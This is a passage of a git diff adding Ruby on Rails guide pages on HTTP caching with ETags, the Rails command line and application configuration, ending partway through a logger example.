+It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
+
+```ruby
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified. So that's it, you're done.
+  end
+end
+```
+
+Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+
+```ruby
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+
+    if stale?(@product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+  end
+end
+```
+
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`:
+
+```ruby
+class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, etag: @product
+  end
+end
+```
+
+Sometimes we want to cache response, for example a static page, that never gets
+expired. To achieve this, we can use `http_cache_forever` helper and by doing
+so browser and proxies will cache it indefinitely.
+
+By default cached responses will be private, cached only on the user's web
+browser. To allow proxies to cache the response, set `public: true` to indicate
+that they can serve the cached response to all users.
+
+Using this helper, `last_modified` header is set to `Time.new(2011, 1, 1).utc`
+and `expires` header is set to a 100 years.
+
+WARNING: Use this method carefully as browser/proxy won't be able to invalidate
+the cached response unless browser cache is forcefully cleared.
+
+```ruby
+class HomeController < ApplicationController
+  def index
+    http_cache_forever(public: true) do
+      render
+    end
+  end
+end
+```
+
+### Strong v/s Weak ETags
+
+Rails generates weak ETags by default. Weak ETags allow semantically equivalent
+responses to have the same ETags, even if their bodies do not match exactly.
+This is useful when we don't want the page to be regenerated for minor changes in
+response body.
+
+Weak ETags have a leading `W/` to differentiate them from strong ETags.
+
+```
+  W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
+  "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag
+```
+
+Unlike weak ETag, strong ETag implies that response should be exactly the same
+and byte by byte identical. Useful when doing Range requests within a
+large video or PDF file. Some CDNs support only strong ETags, like Akamai.
+If you absolutely need to generate a strong ETag, it can be done as follows.
+
+```ruby
+  class ProductsController < ApplicationController
+    def show
+      @product = Product.find(params[:id])
+      fresh_when last_modified: @product.published_at.utc, strong_etag: @product
+    end
+  end
+```
+
+You can also set the strong ETag directly on the response.
+
+```ruby
+  response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"
+```
+
+Caching in Development
+----------------------
+
+It's common to want to test the caching strategy of your application
+in development mode. Rails provides the rake task `dev:cache` to 
+easily toggle caching on/off.
+
+```bash
+$ bin/rails dev:cache
+Development mode is now being cached.
+$ bin/rails dev:cache
+Development mode is no longer being cached.
+```
+
+References
+----------
+
+* [DHH's article on key-based expiration](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works)
+* [Ryan Bates' Railscast on cache digests](http://railscasts.com/episodes/387-cache-digests)
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
new file mode 100644
index 0000000000..9fddbf76b6
--- /dev/null
+++ b/guides/source/command_line.md
@@ -0,0 +1,658 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+The Rails Command Line
+======================
+
+After reading this guide, you will know:
+
+* How to create a Rails application.
+* How to generate models, controllers, database migrations, and unit tests.
+* How to start a development server.
+* How to experiment with objects through an interactive shell.
+
+--------------------------------------------------------------------------------
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
+
+Command Line Basics
+-------------------
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* `rails console`
+* `rails server`
+* `bin/rails`
+* `rails generate`
+* `rails dbconsole`
+* `rails new app_name`
+
+All commands can run with `-h` or `--help` to list more information.
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+### `rails new`
+
+The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
+
+INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
+
+```bash
+$ rails new commandsapp
+     create
+     create  README.md
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+```
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+### `rails server`
+
+The `rails server` command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser.
+
+With no further work, `rails server` will run our new shiny Rails app:
+
+```bash
+$ cd commandsapp
+$ bin/rails server
+=> Booting Puma
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+```
+
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
+
+INFO: You can also use the alias "s" to start the server: `rails s`.
+
+The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
+
+```bash
+$ bin/rails server -e production -p 4000
+```
+
+The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option.
+
+### `rails generate`
+
+The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
+
+INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
+
+```bash
+$ bin/rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+```
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
+
+```bash
+$ bin/rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCards open debit credit close`
+
+    Credit card controller with URLs like /credit_cards/debit.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/debit.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
+```
+
+The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
+
+```bash
+$ bin/rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/controllers/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.scss
+```
+
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+
+Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
+
+```ruby
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+```
+
+Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
+
+```erb
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+```
+
+Fire up your server using `rails server`.
+
+```bash
+$ bin/rails server
+=> Booting Puma...
+```
+
+The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
+
+Rails comes with a generator for data models too.
+
+```bash
+$ bin/rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+Active Record options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+```
+
+NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) for the add_column method for the `SchemaStatements` module. The `index` parameter generates a corresponding index for the column.
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+```bash
+$ bin/rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20130717151933_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/models/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+    invoke  resource_route
+     route    resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/controllers/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke    jbuilder
+    create      app/views/high_scores/index.json.jbuilder
+    create      app/views/high_scores/show.json.jbuilder
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.scss
+    invoke  scss
+   identical    app/assets/stylesheets/scaffolds.scss
+```
+
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
+
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `bin/rails db:migrate` command. We'll talk more about bin/rails in-depth in a little while.
+
+```bash
+$ bin/rails db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+```
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions
+about code. In unit testing, we take a little part of code, say a method of a model,
+and test its inputs and outputs. Unit tests are your friend. The sooner you make
+peace with the fact that your quality of life will drastically increase when you unit
+test your code, the better. Seriously. Please visit
+[the testing guide](http://guides.rubyonrails.org/testing.html) for an in-depth
+look at unit testing.
+
+Let's see the interface Rails created for us.
+
+```bash
+$ bin/rails server
+```
+
+Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
+
+### `rails console`
+
+The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+INFO: You can also use the alias "c" to invoke the console: `rails c`.
+
+You can specify the environment in which the `console` command should operate.
+
+```bash
+$ bin/rails console staging
+```
+
+If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
+
+```bash
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 5.1.0)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+```
+
+#### The app and helper objects
+
+Inside the `rails console` you have access to the `app` and `helper` instances.
+
+With the `app` method you can access url and path helpers, as well as do requests.
+
+```bash
+>> app.root_path
+=> "/"
+
+>> app.get _
+Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+...
+```
+
+With the `helper` method it is possible to access Rails and your application's helpers.
+
+```bash
+>> helper.time_ago_in_words 30.days.ago
+=> "about 1 month"
+
+>> helper.my_custom_helper
+=> "my custom helper"
+```
+
+### `rails dbconsole`
+
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3.
+
+INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
+
+### `rails runner`
+
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+
+```bash
+$ bin/rails runner "Model.long_running_method"
+```
+
+INFO: You can also use the alias "r" to invoke the runner: `rails r`.
+
+You can specify the environment in which the `runner` command should operate using the `-e` switch.
+
+```bash
+$ bin/rails runner -e staging "Model.long_running_method"
+```
+
+You can even execute ruby code written in a file with runner.
+
+```bash
+$ bin/rails runner lib/code_to_be_run.rb
+```
+
+### `rails destroy`
+
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
+
+INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
+
+```bash
+$ bin/rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/models/oops_test.rb
+      create      test/fixtures/oops.yml
+```
+```bash
+$ bin/rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/models/oops_test.rb
+      remove      test/fixtures/oops.yml
+```
+
+bin/rails
+---------
+
+Since Rails 5.0+ has rake commands built into the rails executable, `bin/rails` is the new default for running commands.
+
+You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each task has a description, and should help you find the thing you need.
+
+```bash
+$ bin/rails --help
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+generate    Generate new code (short-cut alias: "g")
+console     Start the Rails console (short-cut alias: "c")
+server      Start the Rails server (short-cut alias: "s")
+...
+
+All commands can be run with -h (or --help) for more information.
+
+In addition to those commands, there are:
+about                               List versions of all Rails ...
+assets:clean[keep]                  Remove old compiled assets
+assets:clobber                      Remove compiled assets
+assets:environment                  Load asset compile environment
+assets:precompile                   Compile all the assets ...
+...
+db:fixtures:load                    Loads fixtures into the ...
+db:migrate                          Migrate the database ...
+db:migrate:status                   Display status of migrations
+db:rollback                         Rolls the schema back to ...
+db:schema:cache:clear               Clears a db/schema_cache.yml file
+db:schema:cache:dump                Creates a db/schema_cache.yml file
+db:schema:dump                      Creates a db/schema.rb file ...
+db:schema:load                      Loads a schema.rb file ...
+db:seed                             Loads the seed data ...
+db:structure:dump                   Dumps the database structure ...
+db:structure:load                   Recreates the databases ...
+db:version                          Retrieves the current schema ...
+...
+restart                             Restart app by touching ...
+tmp:create                          Creates tmp directories ...
+```
+INFO: You can also use `bin/rails -T`  to get the list of tasks.
+
+### `about`
+
+`bin/rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+```bash
+$ bin/rails about
+About your application's environment
+Rails version             5.1.0
+Ruby version              2.2.2 (x86_64-linux)
+RubyGems version          2.4.6
+Rack version              2.0.1
+JavaScript Runtime        Node.js (V8)
+Middleware:               Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+```
+
+### `assets`
+
+You can precompile the assets in `app/assets` using `bin/rails assets:precompile`, and remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
+
+If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`.
+
+### `db`
+
+The most common tasks of the `db:` bin/rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration bin/rails tasks (`up`, `down`, `redo`, `reset`). `bin/rails db:version` is useful when troubleshooting, telling you the current version of the database.
+
+More information about migrations can be found in the [Migrations](active_record_migrations.html) guide.
+
+### `notes`
+
+`bin/rails notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
+
+```bash
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+```
+
+You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
+
+```ruby
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+```
+
+If you are looking for a specific annotation, say FIXME, you can use `bin/rails notes:fixme`. Note that you have to lower case the annotation's name.
+
+```bash
+$ bin/rails notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/models/school.rb:
+  * [ 17]
+```
+
+You can also use custom annotations in your code and list them using `bin/rails notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+
+```bash
+$ bin/rails notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/article.rb:
+  * [ 23] Have to fix this one before pushing!
+```
+
+NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+
+By default, `rails notes` will look in the `app`, `config`, `db`, `lib` and `test` directories. If you would like to search other directories, you can configure them using `config.annotations.register_directories` option.
+
+```ruby
+config.annotations.register_directories("spec", "vendor")
+```
+
+You can also provide them as a comma separated list in the environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+
+```bash
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+```
+
+### `routes`
+
+`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+### `test`
+
+INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
+
+Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+
+### `tmp`
+
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.
+
+The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
+
+* `rails tmp:cache:clear` clears `tmp/cache`.
+* `rails tmp:sockets:clear` clears `tmp/sockets`.
+* `rails tmp:screenshots:clear` clears `tmp/screenshots`.
+* `rails tmp:clear` clears all cache, sockets and screenshot files.
+* `rails tmp:create` creates tmp directories for cache, sockets and pids.
+
+### Miscellaneous
+
+* `rails stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* `rails secret` will give you a pseudo-random key to use for your session secret.
+* `rails time:zones:all` lists all the timezones Rails knows about.
+
+### Custom Rake Tasks
+
+Custom rake tasks have a `.rake` extension and are placed in
+`Rails.root/lib/tasks`. You can create these custom rake tasks with the
+`bin/rails generate task` command.
+
+```ruby
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+  # All your magic here
+  # Any valid Ruby code is allowed
+end
+```
+
+To pass arguments to your custom rake task:
+
+```ruby
+task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
+  argument_1 = args.arg_1
+end
+```
+
+You can group tasks by placing them in namespaces:
+
+```ruby
+namespace :db do
+  desc "This task does nothing"
+  task :nothing do
+    # Seriously, nothing
+  end
+end
+```
+
+Invocation of the tasks will look like:
+
+```bash
+$ bin/rails task_name
+$ bin/rails "task_name[value 1]" # entire argument string should be quoted
+$ bin/rails db:nothing
+```
+
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
+
+The Rails Advanced Command Line
+-------------------------------
+
+More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+### Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a `--git` option and a `--database=postgresql` option will do for us:
+
+```bash
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.md
+add 'README.md'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+```
+
+We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+```bash
+$ cat config/database.yml
+# PostgreSQL. Versions 9.1 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+```
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
new file mode 100644
index 0000000000..61c4bd1e61
--- /dev/null
+++ b/guides/source/configuring.md
@@ -0,0 +1,1341 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications.
+
+After reading this guide, you will know:
+
+* How to adjust the behavior of your Rails applications.
+* How to add additional code to be run at application start time.
+
+--------------------------------------------------------------------------------
+
+Locations for Initialization Code
+---------------------------------
+
+Rails offers four standard spots to place initialization code:
+
+* `config/application.rb`
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+Running Code Before Rails
+-------------------------
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+
+Configuring Rails Components
+----------------------------
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, you could add this setting to `config/application.rb` file:
+
+```ruby
+config.time_zone = 'Central Time (US & Canada)'
+```
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
+
+```ruby
+config.active_record.schema_format = :ruby
+```
+
+Rails will use that particular setting to configure Active Record.
+
+### Rails General Configuration
+
+These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+
+* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+    ```ruby
+    config.after_initialize do
+      ActionView::Base.sanitized_allowed_tags.delete 'div'
+    end
+    ```
+
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+
+* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes.
+
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
+* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store`.
+
+* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to `true`.
+
+* `config.consider_all_requests_local` is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in development and test environments, and `false` in production mode. For finer-grained control, set this to `false` and implement `local_request?` in controllers to specify which requests should provide debugging information on errors.
+
+* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+
+    ```ruby
+    console do
+      # this block is called only when running console,
+      # so we can safely require pry here
+      require "pry"
+      config.console = Pry
+    end
+    ```
+
+* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method.
+
+* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+
+* `config.enable_dependency_loading`: when true, enables autoloading, even if the application is eager loaded and `config.cache_classes` is set as true. Defaults to false.
+
+* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+
+* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* `config.debug_exception_response_format` sets the format used in responses when errors occur in development mode. Defaults to `:api` for API only apps and `:default` for normal apps.
+
+* `config.file_watcher` is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker` (this one depends on the [listen](https://github.com/guard/listen) gem). Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API.
+
+* `config.filter_parameters` used for filtering out the parameters that
+you don't want shown in the logs, such as passwords or credit card
+numbers. By default, Rails filters out passwords by adding `Rails.application.config.filter_parameters += [:password]` in `config/initializers/filter_parameter_logging.rb`. Parameters filter works by partial matching regular expression.
+
+* `config.force_ssl` forces all requests to be served over HTTPS by using the `ActionDispatch::SSL` middleware, and sets `config.action_mailer.default_url_options` to be `{ protocol: 'https' }`. This can be configured by setting `config.ssl_options` - see the [ActionDispatch::SSL documentation](http://api.rubyonrails.org/classes/ActionDispatch/SSL.html) for details.
+
+* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you.
+
+* `config.log_level` defines the verbosity of the Rails logger. This option
+defaults to `:debug` for all environments. The available log levels are: `:debug`,
+`:info`, `:warn`, `:error`, `:fatal`, and `:unknown`.
+
+* `config.log_tags` accepts a list of: methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
+
+* `config.logger` is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:
+  * To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger.
+  * To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`.
+  * To support silencing, the logger must include `LoggerSilence` and `ActiveSupport::LoggerThreadSafeLevel` modules. The `ActiveSupport::Logger` class already includes these modules.
+
+    ```ruby
+    class MyLogger < ::Logger
+      include ActiveSupport::LoggerThreadSafeLevel
+      include LoggerSilence
+    end
+
+    mylogger           = MyLogger.new(STDOUT)
+    mylogger.formatter = config.log_formatter
